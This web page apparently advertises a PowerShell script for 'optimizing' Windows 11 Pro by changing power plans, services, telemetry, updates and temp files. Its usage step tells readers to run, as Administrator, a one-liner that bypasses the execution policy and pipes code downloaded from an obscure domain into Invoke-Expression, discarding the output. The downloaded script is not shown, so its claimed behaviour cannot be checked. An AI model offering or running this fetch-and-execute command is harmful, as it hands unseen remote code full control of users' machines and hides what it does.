Skip to main content

Optimize Windows11 Pro

What the script does

The script performs 12 major optimization categories automatically:

  1. System Restore Point — Creates a safety checkpoint before any changes[^1][^2]
  2. Ultimate Performance Power Plan — Activates the hidden Ultimate Performance plan or falls back to High Performance
  3. Visual Effects — Sets everything to "best performance" and disables transparency/animations
  4. SSD Optimization — Executes TRIM on all drives, enables write caching, confirms weekly schedule
  5. Startup Bloat Removal — Disables common bloatware (Teams, OneDrive, Adobe updaters, etc.)
  6. Xbox Game Bar & Telemetry — Disables Game Bar, DVR, and reduces telemetry to minimum
  7. Background Apps — Restricts background app permissions system-wide
  8. Windows Update — Prevents auto-restart and disables aggressive update delivery
  9. Unnecessary Services — Stops and disables telemetry, Xbox, Fax, RemoteRegistry, RetailDemo services
  10. Network Throttling — Removes Windows network throttling and disables adapter power management
  11. System Responsiveness — Prioritizes foreground apps, disables Superfetch on SSDs, minimizes menu delays
  12. Temp File Cleanup — Clears Windows Temp, User Temp, and Prefetch folders

How to use it

Run as Administrator:

Right-click PowerShell or Windows Terminal → "Run as Administrator", then:

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force; Invoke-Expression (Invoke-WebRequest -Uri "https://docs.greenhome.stream/attachments/58" -UseBasicP) | Out-Null

The script runs fully automated—no prompts, no user interaction needed. It uses a clean, timestamped, color-coded output so you see exactly what's happening in real-time.

Safety features

  • Creates a restore point first (you can roll back if needed)
  • All registry/service changes use -ErrorAction SilentlyContinue for non-critical operations
  • Won't break if certain features don't exist on your system
  • Detailed success/warning/error messages for troubleshooting

What you'll see

The output uses:

  • Cyan headers for each section
  • Green checkmarks for successful operations
  • Yellow warnings for partial/skipped operations
  • Red errors if something fails
  • Timestamped steps [HH:mm:ss] ► Action

After completion, you'll get a summary and a restart prompt (press any key to exit, then reboot manually).